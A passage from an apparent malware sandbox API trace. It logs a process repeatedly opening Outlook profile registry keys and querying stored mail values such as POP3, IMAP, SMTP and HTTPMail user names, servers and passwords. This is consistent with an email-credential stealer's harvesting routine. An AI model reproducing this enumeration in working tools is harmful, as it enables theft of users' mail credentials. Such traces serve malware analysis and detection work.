lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.078] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.078] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.078] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.078] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.078] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.078] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.078] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.078] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.078] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.078] RegQueryValueExA (in: hKey=0x5d0, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.078] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.078] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.078] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.078] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.078] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.078] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.078] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.078] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.079] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.079] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.079] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.079] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.079] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.079] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.079] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.079] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.079] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.079] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.079] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.079] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.079] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.079] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.079] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.079] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.079] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.079] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.080] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.080] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.080] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.080] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.080] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.080] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.080] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.080] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.080] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.080] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.080] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.080] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.080] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.080] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.080] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.080] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.080] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.080] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.081] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.081] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.081] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.081] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.081] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.081] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.081] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.081] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.081] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x5d0) returned 0x0 [0096.081] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.081] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.081] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x5d0) returned 0x0 [0096.081] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.081] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.081] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x5d0) returned 0x0 [0096.081] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.081] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.081] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x5d0) returned 0x0 [0096.082] RegEnumKeyExA (in: hKey=0x5d0, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.082] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.082] LocalFree (hMem=0x28e7670) returned 0x0 [0096.082] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x1, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.082] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.082] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.082] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a") returned 88 [0096.082] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.082] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.082] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.082] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.082] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.082] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.082] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.082] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.082] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.082] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.082] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.082] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.083] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.083] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.083] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.083] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.164] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.165] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.165] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.165] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.165] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.165] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.165] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.165] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.165] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.165] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.165] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.165] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.165] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.165] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.166] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.166] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.166] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.166] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.166] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.166] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.166] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.166] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.166] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.166] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.166] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.166] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.166] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.166] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.166] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.166] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.167] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.167] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.167] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.167] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.167] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.167] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.167] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.167] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.167] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.167] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.167] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.167] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.167] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.167] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.167] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.167] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, 